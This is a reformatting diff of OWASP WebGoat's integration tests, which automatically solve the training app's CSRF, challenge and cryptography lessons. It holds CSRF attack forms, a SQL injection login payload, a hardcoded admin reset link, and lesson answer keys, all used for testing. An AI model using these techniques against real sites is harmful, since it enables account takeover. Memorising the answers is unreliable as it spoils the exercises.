-            "<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n" +
+          + "<input type=\"hidden\" name=\"validateReq\""
-            "</form>\n" +
+          + " value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n"
-            "</body></html>";
+          + "<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n"
+          + "</form>\n"
+          + "</body></html>";
 
-    private static final String trickHTML7 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain' method=\"POST\">\n" +
+  private static final String trickHTML7 =
-            "<input type=\"hidden\" name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!' value='\"}' />\n" +
+      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain'"
-            "<input type=\"submit\" value=\"assignment 7\"/>\n" +
+          + " method=\"POST\">\n"
-            "</form></body></html>";
+          + "<input type=\"hidden\""
+          + " name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat"
+          + " is the best!!' value='\"}' />\n"
+          + "<input type=\"submit\" value=\"assignment 7\"/>\n"
+          + "</form></body></html>";
 
-    private static final String trickHTML8 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
+  private static final String trickHTML8 =
-            "<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n" +
+      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
-            "<input type=\"hidden\" name=\"password\" value=\"password\"/>\n" +
+          + "<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n"
-            "<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n" +
+          + "<input type=\"hidden\" name=\"password\" value=\"password\"/>\n"
-            "<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n" +
+          + "<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n"
-            "<input type=\"submit\" value=\"assignment 8\"/>\n" +
+          + "<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n"
-            "</form></body></html>";
+          + "<input type=\"submit\" value=\"assignment 8\"/>\n"
+          + "</form></body></html>";
 
-    private String webwolfFileDir;
+  private String webwolfFileDir;
 
-    @BeforeEach
+  @BeforeEach
-    @SneakyThrows
+  @SneakyThrows
-    public void init() {
+  public void init() {
-        startLesson("CSRF");
+    startLesson("CSRF");
-        webwolfFileDir = getWebWolfFileServerLocation();
+    webwolfFileDir = getWebWolfFileServerLocation();
-        uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag")));
+    uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("csrf/basic-get-flag")));
-        uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review")));
+    uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("csrf/review")));
-        uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message")));
+    uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("csrf/feedback/message")));
-        uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser()));
+    uploadTrickHtml(
+        "csrf8.html",
+        trickHTML8.replace("WEBGOATURL", url("login")).replace("USERNAME", this.getUser()));
+  }
+
+  @TestFactory
+  Iterable<DynamicTest> testCSRFLesson() {
+    return Arrays.asList(
+        dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
+        dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
+        dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
+        dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))));
+  }
+
+  @AfterEach
+  public void shutdown() throws IOException {
+    // logout();
+    login(); // because old cookie got replaced and invalidated
+    startLesson("CSRF", false);
+    checkResults("/csrf");
+  }
+
+  private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
+
+    // remove any left over html
+    Path webWolfFilePath = Paths.get(webwolfFileDir);
+    if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
+      Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
     }
 
-    @TestFactory
+    // upload trick html
-    Iterable<DynamicTest> testCSRFLesson() {
+    RestAssured.given()
-        return Arrays.asList(
+        .when()
-                dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
+        .relaxedHTTPSValidation()
-                dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
+        .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
+        .multiPart("file", htmlName, htmlContent.getBytes())
-                dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html")))
+        .post(webWolfUrl("fileupload"))
-        );
+        .then()
-    }
+        .extract()
+        .response()
+        .getBody()
+        .asString();
+  }
 
-    @AfterEach
+  private String callTrickHtml(String htmlName) {
-    public void shutdown() throws IOException {
+    String result =
-        //logout();
-        login();//because old cookie got replaced and invalidated
-        startLesson("CSRF", false);
-        checkResults("/csrf");
-    }
-
-    private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
-
-        //remove any left over html
-        Path webWolfFilePath = Paths.get(webwolfFileDir);
-        if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
-            Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
-        }
-
-        //upload trick html
         RestAssured.given()
-                .when()
+            .when()
-                .relaxedHTTPSValidation()
+            .relaxedHTTPSValidation()
-                .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .cookie("JSESSIONID", getWebGoatCookie())
-                .multiPart("file", htmlName, htmlContent.getBytes())
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .post(webWolfUrl("/WebWolf/fileupload"))
+            .get(webWolfUrl("files/" + this.getUser() + "/" + htmlName))
-                .then()
+            .then()
-                .extract().response().getBody().asString();
+            .extract()
-    }
+            .response()
+            .getBody()
+            .asString();
+    result = result.substring(8 + result.indexOf("action=\""));
+    result = result.substring(0, result.indexOf("\""));
 
-    private String callTrickHtml(String htmlName) {
+    return result;
-        String result = RestAssured.given()
+  }
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName))
-                .then()
-                .extract().response().getBody().asString();
-        result = result.substring(8 + result.indexOf("action=\""));
-        result = result.substring(0, result.indexOf("\""));
 
-        return result;
+  private void checkAssignment3(String goatURL) {
-    }
+    String flag =
-
-    private void checkAssignment3(String goatURL) {
-        String flag = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .header("Referer", webWolfUrl("/files/fake.html"))
-                .post(goatURL)
-                .then()
-                .extract().path("flag").toString();
-
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("confirmFlagVal", flag);
-        checkAssignment(url("/WebGoat/csrf/confirm-flag-1"), params, true);
-    }
-
-    private void checkAssignment4(String goatURL) {
-
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("reviewText", "test review");
-        params.put("stars", "5");
-        params.put("validateReq", "2aa14227b9a13d0bede0388a7fba9aa9");//always the same token is the weakness
-
-        boolean result = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .header("Referer", webWolfUrl("/files/fake.html"))
-                .formParams(params)
-                .post(goatURL)
-                .then()
-                .extract().path("lessonCompleted");
-        assertEquals(true, result);
-
-    }
-
-    private void checkAssignment7(String goatURL) {
-        Map<String, Object> params = new HashMap<>();
-        params.put("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!", "\"}");
-
-        String flag = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .header("Referer", webWolfUrl("/files/fake.html"))
-                .contentType(ContentType.TEXT)
-                .body("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!" + "=\"}")
-                .post(goatURL)
-                .then()
-                .extract().asString();
-        flag = flag.substring(9 + flag.indexOf("flag is:"));
-        flag = flag.substring(0, flag.indexOf("\""));
-
-        params.clear();
-        params.put("confirmFlagVal", flag);
-        checkAssignment(url("/WebGoat/csrf/feedback"), params, true);
-
-    }
-
-    private void checkAssignment8(String goatURL) {
-
-        //first make sure there is an attack csrf- user
-        registerCSRFUser();
-
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("username", "csrf-" + this.getUser());
-        params.put("password", "password");
-
-        //login and get the new cookie
-        String newCookie = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .header("Referer", webWolfUrl("/files/fake.html"))
-                .params(params)
-                .post(goatURL)
-                .then()
-                .extract().cookie("JSESSIONID");
-
-        //select the lesson
         RestAssured.given()
-                .when()
+            .when()
-                .relaxedHTTPSValidation()
+            .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", newCookie)
+            .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("CSRF.lesson.lesson"))
+            .header("Referer", webWolfUrl("files/fake.html"))
-                .then()
+            .post(goatURL)
-                .statusCode(200);
+            .then()
+            .extract()
+            .path("flag")
+            .toString();
 
-        //click on the assignment
+    Map<String, Object> params = new HashMap<>();
-        boolean result = RestAssured.given()
+    params.clear();
-                .when()
+    params.put("confirmFlagVal", flag);
-                .relaxedHTTPSValidation()
+    checkAssignment(url("csrf/confirm-flag-1"), params, true);
-                .cookie("JSESSIONID", newCookie)
+  }
-                .post(url("/csrf/login"))
-                .then()
-                .statusCode(200)
-                .extract().path("lessonCompleted");
 
-        assertThat(result).isTrue();
+  private void checkAssignment4(String goatURL) {
 
-        login();
+    Map<String, Object> params = new HashMap<>();
-        startLesson("CSRF", false);
+    params.clear();
-
+    params.put("reviewText", "test review");
-        Overview[] assignments = RestAssured.given()
+    params.put("stars", "5");
-                .cookie("JSESSIONID", getWebGoatCookie())
+    params.put(
-                .get(url("/service/lessonoverview.mvc"))
+        "validateReq", "2aa14227b9a13d0bede0388a7fba9aa9"); // always the same token is the weakness
-                .then()
-                .extract()
-                .jsonPath()
-                .getObject("$", Overview[].class);
-//		assertThat(assignments)
-//                .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
-//                .extracting(o -> o.solved)
-//                .containsExactly(true);
-    }
-
-    @Data
-    private static class Overview {
-        Assignment assignment;
-        boolean solved;
-    }
-
-    /**
-     * Try to register the new user. Ignore the result.
-     */
-    private void registerCSRFUser() {
 
+    boolean result =
         RestAssured.given()
-                .when()
+            .when()
-                .relaxedHTTPSValidation()
+            .relaxedHTTPSValidation()
-                .formParam("username", "csrf-" + this.getUser())
+            .cookie("JSESSIONID", getWebGoatCookie())
-                .formParam("password", "password")
+            .header("Referer", webWolfUrl("files/fake.html"))
-                .formParam("matchingPassword", "password")
+            .formParams(params)
-                .formParam("agree", "agree")
+            .post(goatURL)
-                .post(url("register.mvc"));
+            .then()
+            .extract()
+            .path("lessonCompleted");
+    assertEquals(true, result);
+  }
 
-    }
+  private void checkAssignment7(String goatURL) {
+    Map<String, Object> params = new HashMap<>();
+    params.put(
+        "{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the"
+            + " best!!",
+        "\"}");
 
+    String flag =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("Referer", webWolfUrl("files/fake.html"))
+            .contentType(ContentType.TEXT)
+            .body(
+                "{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is"
+                    + " the best!!=\"}")
+            .post(goatURL)
+            .then()
+            .extract()
+            .asString();
+    flag = flag.substring(9 + flag.indexOf("flag is:"));
+    flag = flag.substring(0, flag.indexOf("\""));
+
+    params.clear();
+    params.put("confirmFlagVal", flag);
+    checkAssignment(url("csrf/feedback"), params, true);
+  }
+
+  private void checkAssignment8(String goatURL) {
+
+    // first make sure there is an attack csrf- user
+    registerCSRFUser();
+
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("username", "csrf-" + this.getUser());
+    params.put("password", "password");
+
+    // login and get the new cookie
+    String newCookie =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("Referer", webWolfUrl("files/fake.html"))
+            .params(params)
+            .post(goatURL)
+            .then()
+            .extract()
+            .cookie("JSESSIONID");
+
+    // select the lesson
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", newCookie)
+        .get(url("CSRF.lesson.lesson"))
+        .then()
+        .statusCode(200);
+
+    // click on the assignment
+    boolean result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", newCookie)
+            .post(url("csrf/login"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted");
+
+    assertThat(result).isTrue();
+
+    login();
+    startLesson("CSRF", false);
+
+    Overview[] assignments =
+        RestAssured.given()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .relaxedHTTPSValidation()
+            .get(url("service/lessonoverview.mvc"))
+            .then()
+            .extract()
+            .jsonPath()
+            .getObject("$", Overview[].class);
+    //		assertThat(assignments)
+    //                .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
+    //                .extracting(o -> o.solved)
+    //                .containsExactly(true);
+  }
+
+  @Data
+  private static class Overview {
+    Assignment assignment;
+    boolean solved;
+  }
+
+  /** Try to register the new user. Ignore the result. */
+  private void registerCSRFUser() {
+
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .formParam("username", "csrf-" + this.getUser())
+        .formParam("password", "password")
+        .formParam("matchingPassword", "password")
+        .formParam("agree", "agree")
+        .post(url("register.mvc"));
+  }
 }

src/it/java/org/owasp/webgoat/ChallengeIntegrationTest.java

@@ -1,112 +1,170 @@
 package org.owasp.webgoat;
 
+import static org.junit.jupiter.api.Assertions.assertTrue;
 
 import io.restassured.RestAssured;
-import org.junit.jupiter.api.Test;
-
 import java.util.Arrays;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
-
+import org.assertj.core.api.Assertions;
-import static org.junit.jupiter.api.Assertions.assertTrue;
+import org.junit.jupiter.api.Test;
-
+import org.springframework.http.HttpStatus;
 
 public class ChallengeIntegrationTest extends IntegrationTest {
 
-    @Test
+  @Test
-    public void testChallenge1() {
+  void testChallenge1() {
-        startLesson("Challenge1");
+    startLesson("Challenge1");
 
-        byte[] resultBytes =
+    byte[] resultBytes =
-                RestAssured.given()
+        RestAssured.given()
-                        .when()
+            .when()
-                        .relaxedHTTPSValidation()
+            .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
+            .cookie("JSESSIONID", getWebGoatCookie())
-                        .get(url("/WebGoat/challenge/logo"))
+            .get(url("challenge/logo"))
-                        .then()
+            .then()
-                        .statusCode(200)
+            .statusCode(200)
-                        .extract().asByteArray();
+            .extract()
+            .asByteArray();
 
-        String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
+    String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
-        Map<String, Object> params = new HashMap<>();
+    Map<String, Object> params = new HashMap<>();
-        params.clear();
+    params.clear();
-        params.put("username", "admin");
+    params.put("username", "admin");
-        params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
+    params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
 
+    checkAssignment(url("challenge/1"), params, true);
+    String result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .formParams(params)
+            .post(url("challenge/1"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .asString();
 
-        checkAssignment(url("/WebGoat/challenge/1"), params, true);
+    String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
-        String result =
+    params.clear();
-                RestAssured.given()
+    params.put("flag", flag);
-                        .when()
+    checkAssignment(url("challenge/flag"), params, true);
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .formParams(params)
-                        .post(url("/WebGoat/challenge/1"))
-                        .then()
-                        .statusCode(200)
-                        .extract().asString();
 
-        String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
+    checkResults("/challenge/1");
-        params.clear();
-        params.put("flag", flag);
-        checkAssignment(url("/WebGoat/challenge/flag"), params, true);
 
+    List<String> capturefFlags =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("scoreboard-data"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath()
+            .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
+    assertTrue(capturefFlags.contains("Admin lost password"));
+  }
 
-        checkResults("/challenge/1");
+  @Test
+  void testChallenge5() {
+    startLesson("Challenge5");
 
-        List<String> capturefFlags =
+    Map<String, Object> params = new HashMap<>();
-                RestAssured.given()
+    params.clear();
-                        .when()
+    params.put("username_login", "Larry");
-                        .relaxedHTTPSValidation()
+    params.put("password_login", "1' or '1'='1");
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .get(url("/WebGoat/scoreboard-data"))
-                        .then()
-                        .statusCode(200)
-                        .extract().jsonPath()
-                        .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
-        assertTrue(capturefFlags.contains("Admin lost password"));
-    }
 
-    @Test
+    String result =
-    public void testChallenge5() {
+        RestAssured.given()
-        startLesson("Challenge5");
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .formParams(params)
+            .post(url("challenge/5"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .asString();
 
-        Map<String, Object> params = new HashMap<>();
+    String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
-        params.clear();
+    params.clear();
-        params.put("username_login", "Larry");
+    params.put("flag", flag);
-        params.put("password_login", "1' or '1'='1");
+    checkAssignment(url("challenge/flag"), params, true);
 
-        String result =
+    checkResults("/challenge/5");
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .formParams(params)
-                        .post(url("/WebGoat/challenge/5"))
-                        .then()
-                        .statusCode(200)
-                        .extract().asString();
 
-        String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
+    List<String> capturefFlags =
-        params.clear();
+        RestAssured.given()
-        params.put("flag", flag);
+            .when()
-        checkAssignment(url("/WebGoat/challenge/flag"), params, true);
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("scoreboard-data"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath()
+            .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
+    assertTrue(capturefFlags.contains("Without password"));
+  }
 
+  @Test
+  void testChallenge7() {
+    startLesson("Challenge7");
+    cleanMailbox();
 
-        checkResults("/challenge/5");
+    // One should first be able to download git.zip from WebGoat
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .get(url("challenge/7/.git"))
+        .then()
+        .statusCode(200)
+        .extract()
+        .asString();
 
-        List<String> capturefFlags =
+    // Should send an email to WebWolf inbox this should give a hint to the link being static
-                RestAssured.given()
+    RestAssured.given()
-                        .when()
+        .when()
-                        .relaxedHTTPSValidation()
+        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
+        .cookie("JSESSIONID", getWebGoatCookie())
-                        .get(url("/WebGoat/scoreboard-data"))
+        .formParams("email", getUser() + "@webgoat.org")
-                        .then()
+        .post(url("challenge/7"))
-                        .statusCode(200)
+        .then()
-                        .extract().jsonPath()
+        .statusCode(200)
-                        .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
+        .extract()
-        assertTrue(capturefFlags.contains("Without password"));
+        .asString();
-    }
 
+    // Check whether email has been received
+    var responseBody =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(webWolfUrl("mail"))
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
+    Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
+
+    // Call reset link with admin link
+    String result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("challenge/7/reset-password/{link}"), "375afe1104f4a487a73823c50a9292a2")
+            .then()
+            .statusCode(HttpStatus.ACCEPTED.value())
+            .extract()
+            .asString();
+
+    String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
+    checkAssignment(url("challenge/flag"), Map.of("flag", flag), true);
+  }
 }

src/it/java/org/owasp/webgoat/CryptoIntegrationTest.java

@@ -2,6 +2,7 @@ package org.owasp.webgoat;
 
 import static org.junit.jupiter.api.Assertions.fail;
 
+import io.restassured.RestAssured;
 import java.nio.charset.Charset;
 import java.security.NoSuchAlgorithmException;
 import java.security.PrivateKey;
@@ -10,125 +11,146 @@ import java.security.spec.InvalidKeySpecException;
 import java.util.Base64;
 import java.util.HashMap;
 import java.util.Map;
-
 import javax.xml.bind.DatatypeConverter;
-
 import org.junit.jupiter.api.Test;
 import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
 import org.owasp.webgoat.lessons.cryptography.HashingAssignment;
 
-import io.restassured.RestAssured;
-
 public class CryptoIntegrationTest extends IntegrationTest {
 
-	@Test
+  @Test
-	public void runTests() {
+  public void runTests() {
-		startLesson("Cryptography");
+    startLesson("Cryptography");
 
-		checkAssignment2();
+    checkAssignment2();
-		checkAssignment3();
+    checkAssignment3();
 
-		// Assignment 4
+    // Assignment 4
-		try {
+    try {
-			checkAssignment4();
+      checkAssignment4();
-		} catch (NoSuchAlgorithmException e) {
+    } catch (NoSuchAlgorithmException e) {
-			e.printStackTrace();
+      e.printStackTrace();
-			fail();
+      fail();
-		}
-
-		try {
-			checkAssignmentSigning();
-		} catch (Exception e) {
-			e.printStackTrace();
-			fail();
-		}
-		
-		checkAssignmentDefaults();
-
-		checkResults("/crypto");
-
-	}
-
-	private void checkAssignment2() {
-
-		String basicEncoding = RestAssured.given().when().relaxedHTTPSValidation()
-				.cookie("JSESSIONID", getWebGoatCookie()).get(url("/crypto/encoding/basic")).then().extract()
-				.asString();
-		basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
-		String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
-		String answer_user = decodedString.split(":")[0];
-		String answer_pwd = decodedString.split(":")[1];
-		Map<String, Object> params = new HashMap<>();
-		params.clear();
-		params.put("answer_user", answer_user);
-		params.put("answer_pwd", answer_pwd);
-		checkAssignment(url("/crypto/encoding/basic-auth"), params, true);
-	}
-
-	private void checkAssignment3() {
-		String answer_1 = "databasepassword";
-		Map<String, Object> params = new HashMap<>();
-		params.clear();
-		params.put("answer_pwd1", answer_1);
-		checkAssignment(url("/crypto/encoding/xor"), params, true);
-	}
-
-	private void checkAssignment4() throws NoSuchAlgorithmException {
-
-		String md5Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
-				.get(url("/crypto/hashing/md5")).then().extract().asString();
-
-		String sha256Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
-				.get(url("/crypto/hashing/sha256")).then().extract().asString();
-
-		String answer_1 = "unknown";
-		String answer_2 = "unknown";
-		for (String secret : HashingAssignment.SECRETS) {
-			if (md5Hash.equals(HashingAssignment.getHash(secret, "MD5"))) {
-				answer_1 = secret;
-			}
-			if (sha256Hash.equals(HashingAssignment.getHash(secret, "SHA-256"))) {
-				answer_2 = secret;
-			}
-		}
-
-		Map<String, Object> params = new HashMap<>();
-		params.clear();
-		params.put("answer_pwd1", answer_1);
-		params.put("answer_pwd2", answer_2);
-		checkAssignment(url("/WebGoat/crypto/hashing"), params, true);
-	}
-
-	private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
-    	
-    	String privatePEM = RestAssured.given()
-            	.when()
-            	.relaxedHTTPSValidation()
-            	.cookie("JSESSIONID", getWebGoatCookie())
-            	.get(url("/crypto/signing/getprivate"))
-            	.then()
-				.extract().asString();
-		PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
-
-		RSAPrivateKey privk = (RSAPrivateKey) privateKey;
-		String modulus = DatatypeConverter.printHexBinary(privk.getModulus().toByteArray());
-    	String signature = CryptoUtil.signMessage(modulus, privateKey);
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("modulus", modulus);
-        params.put("signature", signature);
-        checkAssignment(url("/crypto/signing/verify"), params, true);
     }
 
-	private void checkAssignmentDefaults() {
+    try {
-    	
+      checkAssignmentSigning();
-    	String text = new String(Base64.getDecoder().decode("TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl".getBytes(Charset.forName("UTF-8"))));
+    } catch (Exception e) {
-
+      e.printStackTrace();
-		Map<String, Object> params = new HashMap<>();
+      fail();
-        params.clear();
-        params.put("secretText", text);
-        params.put("secretFileName", "default_secret");
-        checkAssignment(url("/crypto/secure/defaults"), params, true);
     }
 
+    checkAssignmentDefaults();
+
+    checkResults("/crypto");
+  }
+
+  private void checkAssignment2() {
+
+    String basicEncoding =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("crypto/encoding/basic"))
+            .then()
+            .extract()
+            .asString();
+    basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
+    String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
+    String answer_user = decodedString.split(":")[0];
+    String answer_pwd = decodedString.split(":")[1];
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("answer_user", answer_user);
+    params.put("answer_pwd", answer_pwd);
+    checkAssignment(url("crypto/encoding/basic-auth"), params, true);
+  }
+
+  private void checkAssignment3() {
+    String answer_1 = "databasepassword";
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("answer_pwd1", answer_1);
+    checkAssignment(url("crypto/encoding/xor"), params, true);
+  }
+
+  private void checkAssignment4() throws NoSuchAlgorithmException {
+
+    String md5Hash =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("crypto/hashing/md5"))
+            .then()
+            .extract()
+            .asString();
+
+    String sha256Hash =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("crypto/hashing/sha256"))
+            .then()
+            .extract()
+            .asString();
+
+    String answer_1 = "unknown";
+    String answer_2 = "unknown";
+    for (String secret : HashingAssignment.SECRETS) {
+      if (md5Hash.equals(HashingAssignment.getHash(secret, "MD5"))) {
+        answer_1 = secret;
+      }
+      if (sha256Hash.equals(HashingAssignment.getHash(secret, "SHA-256"))) {
+        answer_2 = secret;
+      }
+    }
+
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("answer_pwd1", answer_1);
+    params.put("answer_pwd2", answer_2);
+    checkAssignment(url("crypto/hashing"), params, true);
+  }
+
+  private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
+
+    String privatePEM =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("crypto/signing/getprivate"))
+            .then()
+            .extract()
+            .asString();
+    PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
+
+    RSAPrivateKey privk = (RSAPrivateKey) privateKey;
+    String modulus = DatatypeConverter.printHexBinary(privk.getModulus().toByteArray());
+    String signature = CryptoUtil.signMessage(modulus, privateKey);
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("modulus", modulus);
+    params.put("signature", signature);
+    checkAssignment(url("crypto/signing/verify"), params, true);
+  }
+
+  private void checkAssignmentDefaults() {
+
+    String text =
+        new String(
+            Base64.getDecoder()
+                .decode(
+                    "TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl"
+                        .getBytes(Charset.forName("UTF-8"))));
+
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("secretText", text);
+    params.put("secretFileName", "default_secret");
+    checkAssignment(url("crypto/secure/defaults"), params, true);
+  }
 }

src/it/java/org/owasp/webgoat/DeserializationIntegrationTest.java

@@ -1,34 +1,33 @@
 package org.owasp.webgoat;
 
-import org.dummy.insecure.framework.VulnerableTaskHolder;
-import org.junit.jupiter.api.Test;
-import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
-
 import java.io.IOException;
 import java.util.HashMap;
 import java.util.Map;
